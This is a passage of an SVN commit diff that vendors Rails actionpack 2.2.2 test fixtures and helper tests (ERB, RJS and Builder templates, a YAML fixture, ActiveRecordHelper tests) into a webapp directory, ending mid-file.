Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_person.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_person.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_person.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2 @@
+Second: <%= name %>
+Third: <%= @name %>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_raise.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_raise.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_raise.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+<%= doesnt_exist %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/action_talk_to_layout.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/action_talk_to_layout.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/action_talk_to_layout.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2 @@
+<% @title = "Talking to the layout" -%>
+Action was here!
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/calling_partial_with_layout.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/calling_partial_with_layout.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/calling_partial_with_layout.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+<%= render(:layout => "layout_for_partial", :partial => "partial_for_use_in_layout", :locals => { :name => "David" }) %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/capturing.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/capturing.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/capturing.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,4 @@
+<% days = capture do %>
+  Dreamy days
+<% end %>
+<%= days %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/content_for.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/content_for.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/content_for.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2 @@
+<% content_for :title do %>Putting stuff in the title!<% end %>
+Great stuff!
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/content_for_concatenated.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/content_for_concatenated.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/content_for_concatenated.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+<% content_for :title, "Putting stuff "
+   content_for :title, "in the title!" %>
+Great stuff!
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/content_for_with_parameter.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/content_for_with_parameter.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/content_for_with_parameter.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2 @@
+<% content_for :title, "Putting stuff in the title!" %>
+Great stuff!
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/delete_with_js.rjs
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/delete_with_js.rjs	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/delete_with_js.rjs	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2 @@
+page.remove 'person'
+page.visual_effect :highlight, "project-#{@project_id}"

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/dot.directory/render_file_with_ivar.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/dot.directory/render_file_with_ivar.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/dot.directory/render_file_with_ivar.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+The secret is <%= @secret %>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/enum_rjs_test.rjs
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/enum_rjs_test.rjs	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/enum_rjs_test.rjs	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,6 @@
+page.select('.product').each do |value|
+  page.visual_effect :highlight
+  page.visual_effect :highlight, value
+  page.sortable(value, :url => { :action => "order" })
+  page.draggable(value)
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/formatted_html_erb.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/formatted_html_erb.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/formatted_html_erb.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+formatted html erb
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/formatted_xml_erb.builder
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/formatted_xml_erb.builder	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/formatted_xml_erb.builder	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+xml.test 'failed'
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/formatted_xml_erb.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/formatted_xml_erb.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/formatted_xml_erb.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+<test>passed formatted html erb</test>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/formatted_xml_erb.xml.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/formatted_xml_erb.xml.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/formatted_xml_erb.xml.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+<test>passed formatted xml erb</test>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/greeting.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/greeting.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/greeting.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+<p>This is grand!</p>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/greeting.js.rjs
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/greeting.js.rjs	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/greeting.js.rjs	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+page[:body].visual_effect :highlight
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/hello.builder
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/hello.builder	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/hello.builder	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,4 @@
+xml.html do
+  xml.p "Hello #{@name}"
+  xml << render("test/greeting")
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/hello_world.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/hello_world.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/hello_world.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+Hello world!
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/hello_world_container.builder
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/hello_world_container.builder	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/hello_world_container.builder	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+xml.test do
+  render :partial => 'hello', :locals => { :xm => xml }
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/hello_world_from_rxml.builder
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/hello_world_from_rxml.builder	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/hello_world_from_rxml.builder	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,4 @@
+xml.html do
+  xml.p "Hello"
+end
+"String return value"

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/hello_world_with_layout_false.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/hello_world_with_layout_false.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/hello_world_with_layout_false.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+Hello world!
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/hello_xml_world.builder
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/hello_xml_world.builder	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/hello_xml_world.builder	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,11 @@
+xml.html do
+  xml.head do
+    xml.title "Hello World"
+  end
+  
+  xml.body do
+    xml.p "abes"
+    xml.p "monks"
+    xml.p "wiseguys"
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/hyphen-ated.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/hyphen-ated.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/hyphen-ated.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+Hello world!

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/implicit_content_type.atom.builder
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/implicit_content_type.atom.builder	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/implicit_content_type.atom.builder	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2 @@
+xml.atom do
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/list.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/list.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/list.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+<%= @test_unchanged = 'goodbye' %><%= render :partial => 'customer', :collection => @customers %><%= @test_unchanged %>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/nested_layout.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/nested_layout.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/nested_layout.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+<% content_for :title, "title" -%>
+<% content_for :column do -%>column<% end -%>
+<% render :layout => 'layouts/column' do -%>content<% end -%>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/non_erb_block_content_for.builder
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/non_erb_block_content_for.builder	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/non_erb_block_content_for.builder	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,4 @@
+content_for :title do
+  'Putting stuff in the title!'
+end
+xml << "\nGreat stuff!"

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/potential_conflicts.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/potential_conflicts.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/potential_conflicts.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,4 @@
+First: <%= @name %>
+<%= render :partial => "person", :locals => { :name => "Stephan" } -%>
+Fourth: <%= @name %>
+Fifth: <%= name %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/render_file_from_template.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/render_file_from_template.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/render_file_from_template.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+<%= render :file => @path %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/render_file_with_ivar.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/render_file_with_ivar.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/render_file_with_ivar.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+The secret is <%= @secret %>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/render_file_with_locals.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/render_file_with_locals.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/render_file_with_locals.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+The secret is <%= secret %>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/render_to_string_test.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/render_to_string_test.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/render_to_string_test.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+The value of foo is: ::<%= @foo %>::

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/sub_template_raise.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/sub_template_raise.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/sub_template_raise.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+<%= render :partial => "test/raise" %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/template.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/template.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/template.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+<%= template.path %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/update_element_with_capture.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/update_element_with_capture.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/update_element_with_capture.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,9 @@
+<% replacement_function = update_element_function("products", :action => :update) do %>
+  <p>Product 1</p>
+  <p>Product 2</p>
+<% end %>
+<%= javascript_tag(replacement_function) %>
+
+<% update_element_function("status", :action => :update, :binding => binding) do %>
+  <b>You bought something!</b>
+<% end %>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/using_layout_around_block.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/using_layout_around_block.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/using_layout_around_block.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+<% render(:layout => "layout_for_partial", :locals => { :name => "David" }) do %>Inside from block<% end %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/using_layout_around_block_with_args.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/using_layout_around_block_with_args.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/using_layout_around_block_with_args.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+<% render(:layout => "layout_for_block_with_args") do |*args| %><%= args.join %><% end %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/topic.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/topic.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/topic.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+class Topic < ActiveRecord::Base
+  has_many :replies, :dependent => :destroy
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/topics/_topic.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/topics/_topic.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/topics/_topic.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+<%= topic.title %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/topics.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/topics.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/topics.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,22 @@
+futurama:
+  id: 1
+  title: Isnt futurama awesome?
+  subtitle: It really is, isnt it.
+  content: I like futurama
+  created_at: <%= 1.day.ago.to_s(:db) %>
+  updated_at:
+  
+harvey_birdman:
+  id: 2
+  title: Harvey Birdman is the king of all men
+  subtitle: yup
+  content: It really is
+  created_at: <%= 2.hours.ago.to_s(:db) %>
+  updated_at:
+
+rails:
+  id: 3
+  title: Rails is nice
+  subtitle: It makes me happy
+  content: except when I have to hack internals to fix pagination. even then really.
+  created_at: <%= 20.minutes.ago.to_s(:db) %>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/active_record_helper_i18n_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/active_record_helper_i18n_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/active_record_helper_i18n_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,46 @@
+require 'abstract_unit'
+
+class ActiveRecordHelperI18nTest < Test::Unit::TestCase
+  include ActionView::Helpers::ActiveRecordHelper
+  
+  attr_reader :request
+  uses_mocha 'active_record_helper_i18n_test' do
+    def setup
+      @object = stub :errors => stub(:count => 1, :full_messages => ['full_messages'])
+      @object_name = 'book'
+      stubs(:content_tag).returns 'content_tag'
+
+      I18n.stubs(:t).with(:'header', :locale => 'en', :scope => [:activerecord, :errors, :template], :count => 1, :model => '').returns "1 error prohibited this  from being saved"
+      I18n.stubs(:t).with(:'body', :locale => 'en', :scope => [:activerecord, :errors, :template]).returns 'There were problems with the following fields:'
+    end
+
+    def test_error_messages_for_given_a_header_option_it_does_not_translate_header_message
+      I18n.expects(:translate).with(:'header', :locale => 'en', :scope => [:activerecord, :errors, :template], :count => 1, :model => '').never
+      error_messages_for(:object => @object, :header_message => 'header message', :locale => 'en')
+    end
+
+    def test_error_messages_for_given_no_header_option_it_translates_header_message
+      I18n.expects(:t).with(:'header', :locale => 'en', :scope => [:activerecord, :errors, :template], :count => 1, :model => '').returns 'header message'
+      I18n.expects(:t).with('', :default => '', :count => 1, :scope => [:activerecord, :models]).once.returns ''
+      error_messages_for(:object => @object, :locale => 'en')
+    end
+
+    def test_error_messages_for_given_a_message_option_it_does_not_translate_message
+      I18n.expects(:t).with(:'body', :locale => 'en', :scope => [:activerecord, :errors, :template]).never
+      I18n.expects(:t).with('', :default => '', :count => 1, :scope => [:activerecord, :models]).once.returns ''
+      error_messages_for(:object => @object, :message => 'message', :locale => 'en')
+    end
+
+    def test_error_messages_for_given_no_message_option_it_translates_message
+      I18n.expects(:t).with(:'body', :locale => 'en', :scope => [:activerecord, :errors, :template]).returns 'There were problems with the following fields:'
+      I18n.expects(:t).with('', :default => '', :count => 1, :scope => [:activerecord, :models]).once.returns ''
+      error_messages_for(:object => @object, :locale => 'en')
+    end
+    
+    def test_error_messages_for_given_object_name_it_translates_object_name
+      I18n.expects(:t).with(:header, :locale => 'en', :scope => [:activerecord, :errors, :template], :count => 1, :model => @object_name).returns "1 error prohibited this #{@object_name} from being saved"
+      I18n.expects(:t).with(@object_name, :default => @object_name, :count => 1, :scope => [:activerecord, :models]).once.returns @object_name
+      error_messages_for(:object => @object, :locale => 'en', :object_name => @object_name)
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/active_record_helper_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/active_record_helper_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/active_record_helper_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,268 @@
+require 'abstract_unit'
+
+class ActiveRecordHelperTest < ActionView::TestCase
+  tests ActionView::Helpers::ActiveRecordHelper
+
+  silence_warnings do
+    Post = Struct.new("Post", :title, :author_name, :body, :secret, :written_on)
+    Post.class_eval do
+      alias_method :title_before_type_cast, :title unless respond_to?(:title_before_type_cast)
+      alias_method :body_before_type_cast, :body unless respond_to?(:body_before_type_cast)
+      alias_method :author_name_before_type_cast, :author_name unless respond_to?(:author_name_before_type_cast)
+    end
+
+    User = Struct.new("User", :email)
+    User.class_eval do
+      alias_method :email_before_type_cast, :email unless respond_to?(:email_before_type_cast)
+    end
+
+    Column = Struct.new("Column", :type, :name, :human_name)
+  end
+
+  def setup_post
+    @post = Post.new
+    def @post.errors
+      Class.new {
+        def on(field)
+          case field.to_s
+          when "author_name"
+            "can't be empty"
+          when "body"
+            true
+          else
+            false
+          end
+        end
+        def empty?() false end
+        def count() 1 end
+        def full_messages() [ "Author name can't be empty" ] end
+      }.new
+    end
+
+    def @post.new_record?() true end
+    def @post.to_param() nil end
+
+    def @post.column_for_attribute(attr_name)
+      Post.content_columns.select { |column| column.name == attr_name }.first
+    end
+
+    silence_warnings do
+      def Post.content_columns() [ Column.new(:string, "title", "Title"), Column.new(:text, "body", "Body") ] end
+    end
+
+    @post.title       = "Hello World"
+    @post.author_name = ""
+    @post.body        = "Back to the hill and over it again!"
+    @post.secret = 1
+    @post.written_on  = Date.new(2004, 6, 15)
+  end
+
+  def setup_user
+    @user = User.new
+    def @user.errors
+      Class.new {
+        def on(field) field == "email" end
+        def empty?() false end
+        def count() 1 end
+        def full_messages() [ "User email can't be empty" ] end
+      }.new
+    end
+
+    def @user.new_record?() true end
+    def @user.to_param() nil end
+
+    def @user.column_for_attribute(attr_name)
+      User.content_columns.select { |column| column.name == attr_name }.first
+    end
+
+    silence_warnings do
+      def User.content_columns() [ Column.new(:string, "email", "Email") ] end
+    end
+
+    @user.email = ""
+  end
+
+  def protect_against_forgery?
+    @protect_against_forgery ? true : false
+  end
+  attr_accessor :request_forgery_protection_token, :form_authenticity_token
+
+  def setup
+    setup_post
+    setup_user
+
+    @response = ActionController::TestResponse.new
+
+    @controller = Object.new
+    def @controller.url_for(options)
+      options = options.symbolize_keys
+
+      [options[:action], options[:id].to_param].compact.join('/')
+    end
+  end
+
+  def test_generic_input_tag
+    assert_dom_equal(
+      %(<input id="post_title" name="post[title]" size="30" type="text" value="Hello World" />), input("post", "title")
+    )
+  end
+
+  def test_text_area_with_errors
+    assert_dom_equal(
+      %(<div class="fieldWithErrors"><textarea cols="40" id="post_body" name="post[body]" rows="20">Back to the hill and over it again!</textarea></div>),
+      text_area("post", "body")
+    )
+  end
+
+  def test_text_field_with_errors
+    assert_dom_equal(
+      %(<div class="fieldWithErrors"><input id="post_author_name" name="post[author_name]" size="30" type="text" value="" /></div>),
+      text_field("post", "author_name")
+    )
+  end
+
+  def test_form_with_string
